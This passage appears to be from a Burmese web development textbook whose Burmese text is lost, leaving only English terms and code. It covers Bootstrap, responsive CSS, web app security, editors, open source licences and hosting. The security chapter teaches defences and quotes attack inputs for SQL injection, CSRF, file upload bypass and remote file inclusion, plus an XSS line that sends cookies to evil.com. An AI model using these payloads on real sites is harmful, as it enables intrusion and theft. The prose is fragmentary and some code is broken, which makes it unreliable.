Image Bootstrap Icon
- Button Add Icon

<button class="btn btn-default">


<span class="glyphicon glyphicon-plus-sign"></span> Add User
</button>

Icon <span> Element .glyphicon Class


Icon Type .glyphicon-plus-sign
Plus Icon
getbootstrap.com/components Icon
Professional Web Developer - () Mobile Web 459

Component Drop-down Menu Bootstrap


Style Drop-down Menu

<div class="dropdown">
<button class="btn btn-default" data-toggle="dropdown">
Dropdown <span class="caret"></span>
</button>
<ul class="dropdown-menu">
<li> ... </li>
<li> ... </li>
</ul>
</div>

Drop-down Trigger Link () Button .dorpdown-menu Class


<ul> Element Element Trigger Link
() Button data-toggle Attribute dorpdown Bootstrap Style Drop-
down Menu <li> Element Divider ()
Element .divider Drop-
down Menu Bootstrap jQuery
jQuery
Professional Web Developer - () Mobile Web 460

Component Navigation Menu Bar

<nav class="navbar navbar-default">


<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="#">Brand</a>
</div>

<ul class="nav navbar-nav">


<li class="active"><a href="#">Link</a></li>
<li><a href="#">Link</a></li>
</ul>

</div>
</nav>

Navigation Bar .navbar .navbar-default Class Menu Item


.nav .navbar-nav Class
<ul> Element
Brand Name Menu Bar .navbar-header
Element .navbar-brand Element
Menu Item
Item .active Class

Drop-down Menu Button Form Element Navbar



Menu .pull-right Class
Navbar Light Color Dark Color
.navbar-inverse .navbar-default

Tag Label .label Class .label-success,


.label-info, .label-warning, .label-danger

<span class="label label-default">Default</span>


<span class="label label-primary">Primary</span>
<span class="label label-success">Success</span>
<span class="label label-info">Info</span>
<span class="label label-warning">Warning</span>
<span class="label label-danger">Danger</span>
Professional Web Developer - () Mobile Web 461

Menu Item () Item Count Notification


Badge

<a href="#">Inbox <span class="badge">42</span></a>

Error Message () Information

<div class="alert alert-success">...</div>

.alert-success .alert-info, .alert-warning, .alert-danger Class


Component Component
Panel

<div class="panel panel-primary">


<div class="panel-header">Panel Title</div>
<div class="panel-body">Panel Content</div>
</div>

.panel .panel-primary .panel-


primary .panel-success, .panel-info, .panel-warning, .panel-danger
Panel .panel-header, .panel-body .panel-footer
Element

Responsive Layout Style Component


getbootstrap.com
Professional Web Developer - () Mobile Web 462

14.2 - A Responsive Layout from Scratch


Twitter Bootstrap Framework
Responsive Layout

Screen Size Design


Desktop Screen Mobile Screen
Graceful Degradation (

) Mobile Screen Desktop Screen


Screen


Desktop User Mobile User Desktop Design

Mobile First Screen Smart Phone


Screen Screen Size
Progressive Enhancement ( )
Mobile User Desktop User Mobile Design

Google CEO Eric Schmidt Google Mobile First


Approach Mobile First Progressive Enhancement


Mobile First

Responsive Style Mobile First

HTML Document
Structure
Professional Web Developer - () Mobile Web 463

<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title>Responsive Design</title>

<meta name="viewport" content="width=device-width, initial-scale=1">


</head>
<body>
<header>
<a href="#" class="des">Learn more about responsive design?</a>
<span class="logo"></span>
<hgroup>
<h1>A Responsive Design</h1>
<h2>Inspired by the Goldilocks Approach</h2>
</hgroup>
</header>
<nav>
<ul>
<li><a href="#">Home</a></li>
<li><a href="#">About</a></li>
<li><a href="#">Contact</a></li>
<li><a href="#">Services</a></li>
<li><a href="#">Products</a></li>
<li><a href="#">FAQs</a></li>
</ul>
</nav>
<section class="content">
<article></article>
<article></article>
<article></article>
<article></article>
</section>
<footer>
<p>&copy; Copyright 2011. All right reserved.</p>
</footer>
</body>
</html>

Structure Section Header, Nav, Content Section Footer


Header Logo, Name Description Nav Navigation List
Content Section Article Footer Copyright
Statement

viewport <meta> Element Element Mobile Browser


"Screen size "
Layout
Website
Professional Web Developer - () Mobile Web 464

Structure Mobile Screen


Style CSS
External Style Document <style> Element CSS

html {
background: #ECF0F1;
margin: 0;
padding: 0;
}
body {
font-family: Arial, Helvetica, sans-serif;
line-height: 1.5em;
padding: 0.8em;
max-width: 30em;
margin: 1em auto;
background: #fff;
border: 4px solid #BDC3C7;
box-shadow: 0 0 10px #ddd;
}

a {
color: #2980B9;
text-decoration: none;
border-bottom: 1px dotted #2980B9;
}
a:hover, a:active {
color: #3498DB;
border-bottom: 1px solid #2980B9;
}

header {
text-align: center;
margin-bottom: 1em;
}

.des {
display: block;
font-size: 0.8em;
}
.logo {
font-size: 5em;
color: #E74C3C;
display: block;
margin: 0.5em 0;
}

h1 {
margin: 0;
color: #555;
font-family: Georgia;
font-weight: normal;
font-size: 1.2em;
}
Professional Web Developer - () Mobile Web 465

h2 {
font-size: 0.8em;
color: #aaa;
font-weight: normal;
margin: 0;
}

nav ul {
list-style: none;
margin: 0;
padding: 0;
overflow: hidden;
}

nav li {
margin: 0 1px 1px 0;
float: left;
width: 49.6%;
}
nav li a {
font-size: 0.9em;
display: block;
color: #fff;
background: #E74C3C;
text-align: center;
border: 0 none;
padding: 0.5em 0;
}

nav li a:hover, nav li a:active {


border: 0 none;
background: #C0392B;
color: #fff;
}

.content {
margin: 1em 0;
}

article {
margin: 0.5em;
height: 80px;
background: #34495E;
}

footer {
text-align: center;
color: #34495E;
font-size: 0.8em;
}

CSS
body Max Width 30em
Professional Web Developer - () Mobile Web 466

Screen Size Pixel Mobile


Device Screen Size Resolution Desktop
Pixel Screen Size Screen Size
Pixel
Device Smart Phone Tablet
Orientation Portrait Landscape ()
Screen Screen Style Screen
Style

Browser (-)

(-) Example Responsive Design - Smallest Screen

Header Element Center Align Navigation


Menu Width 49.6%
() ()
Professional Web Developer - () Mobile Web 467

Design Mobile Website Design Screen


Screen CSS Style
Style

@media (min-width: 33em) {


body {
padding: 1.6em;
max-width: 60em;
}

header {
overflow: hidden;
text-align: left;
}

.logo {
float: left;
}

hgroup {
float: left;
margin: 1.6em 0 0 1em;
}

.des {
float: right;
margin-top: 3em;
}

h1 {
font-size: 1.6em;
}

nav {
background: #E74C3C;
}

nav ul li {
width: auto;
border-right: 1px solid #C0392B;
}
nav ul li a {
font-size: 1em;
padding: 0.5em 3em;
}
.content {
overflow: hidden;
}
article {
height: 120px;
width: 23.2%;
float: left;
}
Professional Web Developer - () Mobile Web 468

footer {
border-top: 1px solid #BDC3C7;
padding-top: 0.5em;
}
}

@media (min-width: 33em) Media Query Style


Style () Screen

CSS Screen
() Screen

CSS Rule Header


Element Float / Navigation Menu

Width Auto
Article Element Width
Float Browser (-)

(-) Example Responsive Design - Biggest Screen

Desktop Website Responsive


Browser Window Size
Window (-) Mobile Website
Window (-) Desktop Website
Screen Size
Professional Web Developer - () Mobile Web 469

Tablet Screen () Phone Screen Landscape Mode


@media (min-width: 30em) and (max-width: 60em) {


body {
width: 36em;
}
.des {
display: block;
float: none;
text-align: center;
margin-top: 0;
}

nav {
background: transparent;
}

nav ul li {
width: 33%;
border: 0 none;
}

article {
width: 46%;
}
}

@media (min-width: 30em) and (max-width: 60em) Media Query



Style Rule () () Screen
@media Query () Query
Style Screen
Navigation Menu Article Width

Browser Window Size (-)



Professional Web Developer - () Mobile Web 470

(-) Example Responsive Design - Medium Sized Screen

Screen Menu
Article Screen Size
Style Responsive Design

Screen () () Screen
Smart Phone Screen () () Screen
Tablet Screen Smart Phone Landscape Mode
() Table Landscape Mode Desktop Screen
()
Screen Cover

Professional Web Developer - () Mobile Web 471

Conclusion
Mobile Web App
Mobile Website - Gmail,
Facebook, Twitter Website Mobile Device Website
Responsive Style Website
Design

Desktop Website Mobile Website


Maintenance
Website Table
()

Responsive Design Website Screen Size Design


Mobile Web
Responsive Design App Responsive

Website

Professional Web Developer Course

- ()

www.fairway.com.mm
Professional Web Developer - () Web App Security 473

() Web App Security


Web
App Security Code



Professional Web Developer - () Web App Security 474

Web App

15.1 - SQL Injection


Web App Security SQL Injection
User Input SQL Query Attack ()

Online Book Store Online Book Store
Home Page Category
URL

http://localhost/store/index.php?cat=1

URL cat Category


Script -

$cat_id = $_GET['cat'];
$sql = "SELECT * FROM books WHERE category_id = $cat_id";
$books = mysqli_query($conn, $sql);

URL SQL Query


URL Category
Menu App URL

http://localhost/store/index.php?cat=1;DELETE FROM books;

cat SQL Command


Script SQL
-

SELECT * FROM books WHERE category_id = 1;DELETE FROM books;

SELECT Query DELETE Query books Table


Record Attack SQL Injection Attack Input
SQL Query (-)

Professional Web Developer - () Web App Security 475

(-) SQL Injection

Web App


Login Form User Name Password Database
Table -

$name = $_POST['name'];
$pass = $_POST['pass'];

$sql = "SELECT * FROM users WHERE name='$name' AND password='$pass'"


$result = mysqli_query($conn, $sql);

if( mysqli_nums_row($result) ) {
$_SESSION['auth'] = true;
}

Login Form User Name Password users Table



Login User Account Attacker User
Name Password ' OR ''=' Login
SQL -

SELECT * FROM users WHERE name='fake' AND password='' OR ''=''

User Name Password OR ''='' users Table


Record
Script Record User Account
Login
Professional Web Developer - () Web App Security 476

Preventing SQL Injection in PHP


SQL Injection Code
SQL Injection Attack

[ Example 1 ]
$cat_id = mysqli_real_escape_string( $conn, $_GET['cat'] );
$sql = "SELECT * FROM books WHERE category_id = $cat_id";
$books = mysqli_query($conn, $sql);

[ Example 2 ]
$name = mysqli_real_escape_string( $conn, $_POST['name'] );
$pass = mysqli_real_escape_string( $conn, $_POST['pass'] );

$sql = "SELECT * FROM users WHERE name='$name' AND password='$pass'";


$result = mysqli_query($conn, $sql);

Input SQL mysqli_real_escape_string() Function Filter


Function Input String Special Character Escape

SQL Inject Attack Function
-

SELECT * FROM users WHERE name='fake' AND password='\' OR \'\'=\''

Special Character Single Quote Backslash Escape Query


Operator

Script Input
Function SQL Injection Attack

Database PDO

PHP Data Objects - PDO


PDO PHP 5.1 Data Access Layer
Database MySQL Oracle,
MSSQL, Sqlite, PostgreSQL Database Server

PDO MySQL Database

MySQL Database Database Server


Database -
Professional Web Developer - () Web App Security 477

$conn = mysqli_connect("localhost", "root", "");


mysqli_select_db($conn, "mydb");

PDO -

$conn = new PDO('mysql:host=localhost;dbname=mydb', "root", "");

new Keyword PDO Instant


Connection String mysql:
Database
Connection String Database
MySQL host dbname Parameter
root Database User Blank "" Password

Database Query mysqli_query() Function

$subject = $_POST['subject'];
$sql = "INSERT INTO tasks (subject, created_date) VALUES ('$subject', now())";
mysqli_query($conn, $sql );

PDO -

$subject = $_POST['subject'];
$sql = "INSERT INTO tasks (subject, created_date) VALUES ('$subject', now())";
$conn->query( $sql );

PDO Connection Object query() Method


Query SQL Injection Thread Prepare Statement -

$subject = $_POST['subject'];
$sql = "INSERT INTO tasks (subject, created_date) VALUES (:subject, now())";
$pre = $conn->prepare( $sql );
$pre->execute( array(':subject' => $subject) )

SQL Query prepare() Method


Query :subject Label MySQL Query

Professional Web Developer - () Web App Security 478

execute() Method Query


:subject Label
Query Input Value MySQL
Input SQL Command Query

SELECT Query Record Record mysqli_fetch_assoc()


Fetch -

$result = mysqli_query($conn, "SELECT * FROM tasks" );


while( $row = mysql_fetcch_assoc( $result ) ) {
echo "<li>" . $row['subject'] . "</li>";
}

PDO
-

$rows = $conn->query( "SELECT * FROM tasks" );


foreach( $rows as $row ) {
echo "<li>" . $row['subject'] . "</li>";
}

SELECT Query Record Object $rows


Object Fetch $rows Object foreach() Loop
Record

mysqli_query() Resource ID Resource ID


Fetch PDO query() Resource ID Record
Fetch

mysqli_fetch_assoc() Fetch Method


-

$result = $conn->prepare('SELECT * FROM books WHERE id = :id');


$result->execute(array( 'id' => $id ));

while($row = $result->fetch()) {
echo "<li>" . $row['title'] . "</li>";
}
Professional Web Developer - () Web App Security 479

PDO Method lastInsertId(), exec() rowCount()


INSERT Query Record Auto Increment ID
mysql_insert_id() PDO -

$id = $conn->lastInsertId();

Record Query query() Method exec() Method

$conn->exec("SET NAMES UTF8;");

Database Character Encoding query() Method


exec() query() Method

exec()

rowCount() Method UPDATE, DELETE Query


Record

$result = $conn->query("UPDATE categories SET name='Technology'


WHERE name='Internet' OR name='Tech'");

$effected_row = $result->rowCount();

PDO Database Prepare Statement


mysqli Function
PHP MySQL Database PDO () mysqli

15.2 - Cross-Site Request Forgery - CSRF


CSRF Web App
Attack
Online Book Store

Online Book Store


Login Form User Name Password
Cookie Session Value

Professional Web Developer - () Web App Security 480

Book Store Domain Name


Script URL -

http://example.com/admin/book-del.php?id=1

Login URL ID = 1 book-


del.php Script Request
Script Login Form Redirect

CSRF Attack
Website book-del.php
Hidden Element Website -

<img src="http://example.com/admin/book-del.php?id=1" width="0" height="0">

Book Store Admin Login Logout Website


src URL () Request
Login Request Script
Request

Request () Cross-site
Request Forgery App

Website Logout

URL Query Form


POST Request Submit Delete
Request Form Confirmation Form
Unique Token Generate Form Hidden
Input Generated Token Cookie
Request Server-side Script Cookie Token POST Request
Token
CSRF Attack Request

App Generated Token
Token Form Server-side Script
Professional Web Developer - () Web App Security 481

[ Form ]
<?php
$token = md5(rand(1, 1000) . time());
setcookie("csrf", $token);
?>
<form action="update.php" method="post">
...
<input type="hidden" name="token" value="<?= $token ?>">
</form>

[ Server-side Script ]
<?php
$cookie_token = $_COOKIE['csrf'];
$form_token = $_POST['token'];
if($cookie_token != $form_token) exit("Unauthorized Request!");
?>

md5() Function String Hash Function Hash


Form Load Random String md5()
Hash Token Cookie Form Hidden Input

Server-side Request Request Form


CSRF Request Form Request
Cookie Token Random
Request CSRF Attack

15.3 - Cross-site Scripting - XSS


SQL Injection Input Data Query Command
XSS Input Data JavaScript
JavaScript HTML Document
App -
App
Comment Comment Form
Comment
Comment Attack
Comment Box
JavaScript

<script>document.location='http://evil.com/bad.php?cookies='+document.cookie</script>

Server-side Script Database Comment


JavaScript Code Cookie
Attacker Website Cookie Personal
Professional Web Developer - () Web App Security 482

Information Session Token CSRF Request


Token

JavaScript Document Element Website


Content Attacker
Content
XSS Website Defacement Deface Website
Website "Hacked by Blablalba"

Attack User Input Filter Input


Escape XSS Script Input HTML
Element <script> Element Element
Attribute (Inline Script) User Input HTML
Element
PHP
Element Tag strip_tags() Function

$input = "<script>alert('Evil Message')</script>";


$filtered_input = strip_tags( $input ); # => alert('Evil Message')

strip_tags() Function Input String Tag



Element
Element
htmlspecialchars() Function HTML Special Character Entitles
Element

$input = "<b>Hello World</b>";


$output = htmlspecialchars( $input ); # => &lt;b&gt;Hello World&lt;/b&gt;

Element Element
PHP Build-In
Third-Party PHP Library
Library
HTML Purifier HTML Purifier Element
Attribute Whitelist
Element Attribute

Link: http://htmlpurifier.org/
Professional Web Developer - () Web App Security 483

HTML Purifier HTML Element


Element Element Attribute HTML
Purifier
htmlpurifier.org Source Code Download
PHP Script

include('HTMLPurifier.auto.php');

$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$clean_html = $purifier->purify($dirty_html);

HTMLPurifier Instant Input String Filter



Output Escape
Object purify() Method

15.4 - File Upload


File Upload
Code File File
Upload Code Server File
File Database Setting Database
System Command Run Server

Code Attacker
Shell Script
Professional Web Developer - () Web App Security 484

(-) A PHP Shell

(-) Shell Script File System Command


Run PHP Code Run
File Browse, Edit,
Download Database SQL Run
File
Server File
Attacker Server

File Upload Web Server File


Script
File Extension
- .php PHP Script .pl Perl Script

File Upload
Extension Attack

.php4 .php3 File
Extension Shell Script .pHp
File Name Space

Extension Null Character -
shell.php%00.jpg .jpg
File System Null Character

shell.php
Professional Web Developer - () Web App Security 485

File Upload
File Whitelist File Name
Extension Special Character Unicode Character
File Name File Size

Zip File Uncompress


Script Server Zip File File

15.5 - Remote File Inclusion - RFI


Shell Script Upload File Include
- Script
-

<?php
$page = $_GET['view'];
include($page . ".php");
?>

URL Query Script File Name -

http://example.com/page.php?view=home

Attack -

http://example.com/page.php?view=http://evil.com/shell

- Code -

include( "http://evil.com/shell.php" );


Server Shell Script Run php.ini
allow_url_fopen allow_url_include
Professional Web Developer - () Web App Security 486

15.6 - Storing Password


Web App User Registration Password
Password Website
SQL Injection Database
Attacker Password
Website Account

Password Plain Text Hash


Hash One Way Hash
Hash Password Password

Attacker
Password App
Data Admin

Registration Form Name, Email Password



Script Database
-

$name = $_POST['name'];
$email = $_POST['email'];
$password = sha1( $_POST['password'] );

$conn->query( "INSERT INTO users (name. email, password)


VALUES ('$name', '$email', '$password')" );

Password sha1() Function Hash

sha1() CSRF Token md5() Hash Function


Algorithm sha1() md5() sha1() Algorithm
md5() sha1() Hash Algorithm

sha1() Function String () Encrypted String



sha1()
() Hash -
Professional Web Developer - () Web App Security 487

sha1("The quick brown fox jumps over the lazy dog"); -

2fd4e1c67a2d28fced849ee1bb76e7391b93eb12

shal(""); -

da39a3ee5e6b4b0d3255bfef95601890afd80709

- sha1 Hash ()
Blank String sha1 Hash
()

Hash Password Database


Login Login Information

$email = $_POST['email'];
$password = sha1( $_POST['password'] );

$result = $conn->query( "SELECT * FROM users


WHERE email='$email' AND password='$password'" );

Hash Login Form Password sha1()


Hash Password

App


Attacker Hash Password
Password Combination
Password Hash Rainbow Table
Hash Password Hash
Password Record


Computer ( Strong
Password ) Hash

Password Salt Password


Hash Register Form -
Professional Web Developer - () Web App Security 488

$name = $_POST['name'];
$email = $_POST['email'];

$salt = sha1( time() . rand(1, 1000) );


$password = sha1( $salt . $_POST['password'] );

$conn->query( "INSERT INTO users (name. email, password, salt)


VALUES ('$name', '$email', '$password', '$salt')" );

Random Number $salt sha1 Hash


Password Hash Salt
Database Salt Random
Login Salt Login Information

Salt Attacker Data Salt




User Account
Rainbow Table User Salt

Password Hash Salt


15.7 - Anti-Bot System


Spam Bot
App User Registration
Bot Comment
Spam Bot Automate Script

Bot

CAPTCHA CAPTCHA Website Form


Image Image

Image Bot Bot Image
Bot Image
Image
CAPTCHA
Bot CAPTCHA

Professional Web Developer - () Web App Security 489

Google reCAPTCHA Web Service


() Image Service reCAPTCHA
"Stop Spam, Read Books." reCAPTCHA Image
Digital

OCR Program


OCR

Service App google.com/recaptcha Sign Up


Sign Up Public Key, Private Key
reCAPTCHA PHP API Download
Download CAPTCHA Form Page -

<?php
include('recaptchalib.php');
$publickey = "lorem123ipsum456dolar987sit112amat333";
?>
<form action="register.php" method="post">

<?= recaptcha_get_html($publickey);
<input type="submit" value="Register">
</form>

$publickey Sign Up Public Key


CAPTCHA Image
recaptcha_get_html() Function
Professional Web Developer - () Web App Security 490

CAPTCHA Value Server-side

<?php
include('recaptchalib.php');
$privatekey = "3ipsum45lorem12112amat3336dolar987sit";
$resp = recaptcha_check_answer ($privatekey,
$_SERVER["REMOTE_ADDR"],
$_POST["recaptcha_challenge_field"],
$_POST["recaptcha_response_field"]);

if (!$resp->is_valid) {
// CAPTCHA was entered incorrectly
die ("The reCAPTCHA wasn't entered correctly. Go back and try it again." .
"(reCAPTCHA said: " . $resp->error . ")");
} else {
// Successful verification
}
?>

$privatekey Sign Up Private Key


is_valid Value

Form Bot Automate Script Spam


Third-party

reCAPTCHA PHP API
Link

Link: https://developers.google.com/recaptcha/docs/php

15.8 - Secure HTTP - HTTPS


Network Traffic
Network
Software
Wifi Router Proxy Server
App Network Traffic

App Client
Request, Respond Request/Respond
Password Session/Cookie Data Credit
Card No. Private Information
HTTPS HTTP Secure
HTTPS HTTP SSL/TLS Protocol
Professional Web Developer - () Web App Security 491

Secure Socket Layer (SSL)


(Encryption)
Key
Transport Layer Security (TLS) SSL
HTTPS SSL/TLS
HTTP Request/ Respond
Encrypt Request Encrypt Respond
Encrypt

Google, Twitter Website HTTPS


Website
HTTP Login HTTPS
Website Support HTTPS

Web App HTTPS VeriSign, Thawte Service Provider


SSL Certificate Web Server SSL Module
Setting StartSSL Provider
Setting Provider Web Server

HTTPS Setting
Server Management Encryption
Let's Encrypt
Command Run HTTPS Setup


Let's Encrypt HTTPS Setup

https://letsencrypt.org/
Professional Web Developer - () Web App Security 492

Conclusion
-
Password Protect Protect
- Book Admin Protect Order Admin
Auth-
entication Check Attack

File
- Setting phpinfo() Function Run Test Page
Attack File
Name Access - Index Wrapper
View Template Attacker Location
URL Template Access


"Input Filter Output
Escape " User Data

%
App Admin
Attacker Admin Right

Fairway Tech School
Web, Mobile Design

- ()

www.fairway.com.mm
Professional Web Developer - () Tools and Utilities 494

() Tools and Utilities


Code Editor, IDE Tool

()
Web App
Code Editor DevTool
HTML, CSS, JavaScript, jQuery, PHP Code
Text Editor Notepad Editor

Program Text Editor Feature

16.1 - Syntax Highlight


Text Editor Syntax Highlight HTML Element
Attribute Content JavaScript PHP
Keyword Operator Variable String
Code Syntax
Highlight Text Editor

(-) Sublime Text 3


Professional Web Developer - () Tools and Utilities 495

16.2 - Auto Complete


Code
Auto Complete Word Completion



Variable Function Name


(-) PHP Function Auto-Complete in Sublime Text 3

Auto Complete Word Complete Function Completion (-)


is_ PHP is_ Function
Smart

Function Function

Code Text Editor Function Complete


Auto Complete
Word Complete
Professional Web Developer - () Tools and Utilities 496

16.3 - Error Highlight


Editor Code

IDE Integrated Development Environment
Text Editor Language
Language
Language Code
Plugin Extension

(-) JSLint in Sublime Text 3

(-) Sublime Text Text Editor JSLint Package


JavaScript
build_task Function Highlight
JSLint
Text Editor Error Highlight

Professional Web Developer - () Tools and Utilities 497

16.4 - Navigation
Navigation
(-) Sublime Text Goto Everywhere

(-) File Navigation in Sublime Text 3


File
Shortcut (Ctrl+P) File
File Fuzzy Search
File File
cat controller model Folder category.php
view/category Folder File Code Base
Code File Folder

(-) Function Navigation in Sublime Text 3


Professional Web Developer - () Tools and Utilities 498

Function
Sublime Text Goto Everywhere Box @ Sign
Code File Function

16.5 - Code Snippets


Code Snippets Code

(-) for Sublime Text for Loop, foreach Loop
for Tab PHP for Loop Structure
foreach Tab foreach Loop

html Tab HTML Structure Text Editor


div.header Tab <div class="header"></div>
Code Snippets

(-) Code Snippets in Sublime Text 3


Professional Web Developer - () Tools and Utilities 499

16.6 - Other Features


Popular
Sublime Text 3 Atom Windows, Mac, Linux OS
Text Editor Sublime Text 3 Open Source Software
Trial Version
Sublime Text sublimetext.com Download
Atom Open Source Editor Editor

JavaScript Atom atom.io Download Atom

Atom Sublime Text
Sublime Text
Atom

Editor


Mini-Map Code File
Multiple-Cursor -

$name = $_POST['name'];
if($name == $config['name']) { }

name fname name Select


Ctrl+D name Multi-Select Select
fname Select name fname


Code Duplicate Ctrl+Shift+D Duplicate
Ctrl+Alt Up/Down Arrow
Code Ctrl+J
Join Comment ()
Ctrl+/ Code Character Word
Ctrl+Backspace
Select Ctrl+Shift+K
Professional Web Developer - () Tools and Utilities 500

(-) Split-Screen Editing in Sublime Text 3

(-) Column Code File


HTML Document CSS File

Line Number
Indent Guide Close Tag
Smart Editor

Shortcut Ctrl+Shift+P
Command Platte Sublime Text

Package - CSS3
Vendor Prefix Sublime Text
Prefixr Package JavaScript Code
Minify JSMinifier Package

Sublime Text Atom Editor


Development
Professional Web Developer - () Tools and Utilities 501

16.7 - Other Text Editors


Text Editor
Syntax Highlight, Auto Completion, Navigation
Sublime Text Atom
Sublime Text Atom

Code Editor
Bracket HTML Edit
CSS Code Inline Edit
Live Preview Open Source Editor

Windows Notepad++ Split-screen


Text Editor Sublime Text Feature
Code Editor Open Source Text
Editor

Linux Gedit, Vim Editor Gedit Ubuntu Linux


OS Default Text Editor Vim
Advance Editor Windows Mac
Text Editor
Server
Editor

Bracket: http://brackets.io/
Notepad++: http://www.notepad-plus-plus.org/
Vim: http://www.vim.org

16.8 - Integrated Development Environment - IDE


Text Editor IDE IDE Text Editor
Debugging, Integrated Web Browser, Refactoring, Pop-Up
Documen-tation, Integrated Version History, Database Browser

Debugger Code Trace


Web Browser IDE Integrated Browser
Code Template Function
Auto Complete Documentation Reference
Professional Web Developer - () Tools and Utilities 502

Version History
Code Code FTP Server
Project IDE Publish
Database Server

(-) NetBeans IDE

IDE PHP Development


IDE

Netbeans: http://netbeans.org/
Eclipse PDT: http://eclipse.org/pdt/
Aptana: http://www.aptana.org/
Zend Studio: http://www.zend.com/en/products/studio/
PHPStorm: http://www.jetbrains.com/phpstorm/
PHPEdit: http://www.phpedit.com/
DreamWeaver: http://www.adobe.com/products/dreamweaver/
Professional Web Developer - () Tools and Utilities 503

Netbeans, Eclipse Aptana IDE Zend Studio, PHPStorm PHPEdit


VS.PHP Extension Microsoft Visual
Studio PHP Development

16.9 - Text Editor vs. IDE


Text Editor Language
IDE Text
Editor Code Editing Web Browser, Database Manager, FTP
Software, Terminal Software IDE
Development IDE

Web Development PHP Project PHP


HTML/CSS JavaScript/jQuery
Ajax App Server-side Client-side Development Focus
IDE
IDE Code Edit

IDE
Software Code
Edit IDE Text Editor Code
Editing IDE

IDE Project Development




IDE
IDE Code Edit
Text Editor

16.10 - Browser DevTools - Firebug


Browser Web Document
JavaScript Error
Browser Error
Document
JavaScript Code

Browser DevTools
Browser DevTools Browser DevTools
Tool
Firebug Browser
Tool Firefox Browser Addon
Professional Web Developer - () Tools and Utilities 504

Firebug getfirebug.com Mozilla Firefox Download Browser


Addon Install Firefox Menu Web Developer Get More
Tools Firebug Addon Get More
Tools

(-) Firebug - Inspect

Firebug Install (-) () Bug


Toolbar
Browser Firebug Window Window
() Document
Element
Element HTML Structure CSS Style
(-) HTML <h1> Element Highlight CSS
h1 CSS Style CSS File
Line
Document Document Reload

Firebug Install Document Element Right-Click Inspect


with Firebug
Professional Web Developer - () Tools and Utilities 505

HTML/CSS Firebug
Code File
Style Live

() Panel Panel
Console

(-) Firebug - Console

(-) () JavaScript Error



Toolbar Bug Icon Error Error "Reference
Error: $ is not defined" $ Sign
Error jQuery jQuery Object JavaScript Error

() Button Code Entry Box Code Entry


Box () JavaScript ID Selector
title Element Content "Online Book Store" ()
Run JavaScript Code
JavaScript Code Live
Professional Web Developer - () Tools and Utilities 506

Panel CSS, Script DOM Panel Document


CSS JavaScript DOM Structure Information Script Panel
JavaScript Code Break Point Trace Debug

(-) Firebug - Net

Net Panel Request/Respond Status Code Request


XHR Request JavaScript


Request
Firebug Net Panel () XHR Tab
XHR Request/Respond

XHR Tab Request URL Request
Respond Data

Ajax Todo App XHR Request (-)


Respond Data Firebug XHR JSON Array
XHR Request/Respond

Professional Web Developer - () Tools and Utilities 507

(-) Firebug - Cookie

Panel Cookie Cookie Panel App


Cookie Cookie Cookie
Right-Click Cookie () Cookies
Menu Create Cookie

Firefox Build-in DevTools Firebug


Firebug Build-in DevTools Firebug
Plugin Build-in DevTools

Conclusion
Developer Code Editor Browser
Software Productive
Setting Extension Setup
Code

(,)

() ()
Professional Web Developer - () 509

()
Open Source

Open Source
jQuery, PHP, MySQL, Apache, WordPress JavaScript Framework
MVC Framework Open Source
Open Source
Developer
Web Development

Open Source Software Source Code


Software

Software and Copyright


Software



Software

Software Hardware

Software Third-Party
Software Bundle Software
Software

Software

Software
Professional Web Developer - () 510

Software
Software

Software


Software Copy


Copyright Law




() Software End-User License Agreement (EULA)
Software
Software
Software
Software Copy
Software
(EULA
)



"
" "
"




()

Software

Software Binary
Professional Web Developer - () 511

Software
User Interface
EULA Software Reverse
Engineer
Software

EULA " "

Software "
"
Software


Software

Software
EULA


Software

Open Source
Software Open Source Software
Software
Software
Open Source


License

Open Source

Free Software Movement


Software GNU Project
Richard Stallman Free Software Foundation (FSF)


Software EULA Software



Software Free Software
Movement Open Source
Professional Web Developer - () 512

Free Software Foundation Software ()


()
-

Freedom 0: The freedom to run the program for any purpose.


Freedom 1: The freedom to study how the program works, and change it to make it do what you wish.
Freedom 2: The freedom to redistribute copies so you can help your neighbor.
Freedom 3: The freedom to improve the program, and release your improvements (and modified versions in
general) to the public, so that the whole community benefits.

Software
Software

Source Code Software


Source Code () ()
Source Code

Software
Software Freedom FSF Free
Libre ()

Free Software Software
FSF Free "free as in free speech, not as in
free beer"

Open Source Software


Eric S. Raymond The Cathedral and the Bazaar
Free Software
Free Software Open
Source Software

Free Software

Free Software Foundation
() Debian Open
Source Software Definition

Open Source Netscape


Netscape Free Software Software
Professional Web Developer - () 513

(Business Model)

Free Software Open Source Software

Bruce Perens, Tim O'Reilly, Linus Torvalds


Open Source Free Software
Software Open Source Software
Open Source Initiative (OSI) Eric Raymond Bruce Perens

FOSS and FLOSS


Free Software Open Source Software Free and Open Source Software (FOSS)
OSI FOSS

Department of Defense Free Software Open Source Software
FOSS

Free/Libre/Open Source Software FLOSS


Free Software Open Source Software
FLOSS

Open Source License


Copyright Copyright Law Copyright Law

Public Domain
( )
Open Source Software Public Domain
Open Source Software

Software

Open Source Software

Open Source
Professional Web Developer - () 514

Software
Software

Software Software
EULA

Software
Open Source Software

GNU, OSI Open Source
Open Source
"
"

Open Source License


1. GNU General Public License (GPL)


Software
Software
Version GPL
Software

Software GPL

2. GNU Lesser General Public License (LGPL)


Software
Software
Version LGPL
Software

Software

3. BSD License
Software
Software
Version
Version
Promote ( )
Professional Web Developer - () 515

4. MIT License
Software
Software
Software

5. Apache License
Software
Software
Version
Software File

Choosing A License
GPL GPL Open Source
Open Source Software Software Open Source
Open
Source Software
Open Source Open
Open Source Software GPL

BSD, MIT BSD MIT




Mozilla License, Creative Common,
CPAL Open Source Mozilla Apache
Creative Common Software
Document Text Content
pwdbook.com Creative Common
GPL, LGPL
Open Source
GPL Software Linux OS Download
CPAL Credit

Software Open Source




Professional Web Developer - () 516

- PHP Open Source GPL MIT


Conclusion
Open Source Software
Open Source Software Freedom
Business Model IBM Google
Open
Source Java, Apache Open Source
IBM Business Strategy Chrome, Android
Open Source Google Business Strategy
RedHat Open Source
Apache, Mozilla, Wikimedia
Open Source

Open Source
Open Source Software
Open Source Project

Professional Web Developer - () 517

()
Web Hosting

Web App


Hosting from Home


Device IP Address

Public IP
Web Server Software IP
Address
Web Server


Host Server
Server OS Server Main Power Backup
Power
Server 24/7 Run
Maintenance
(CCTV, Security Guard)
Server Host

Data Center
Infrastructure Data Center Data Center
Server

Data Center
Server Maintenance

Data Center Colocation Center
Professional Web Developer - () 518

App Host Server Setting Data Center


Data
Center

Maintenance Server
Data Center Data Center
Server Setting
System Administration Performance
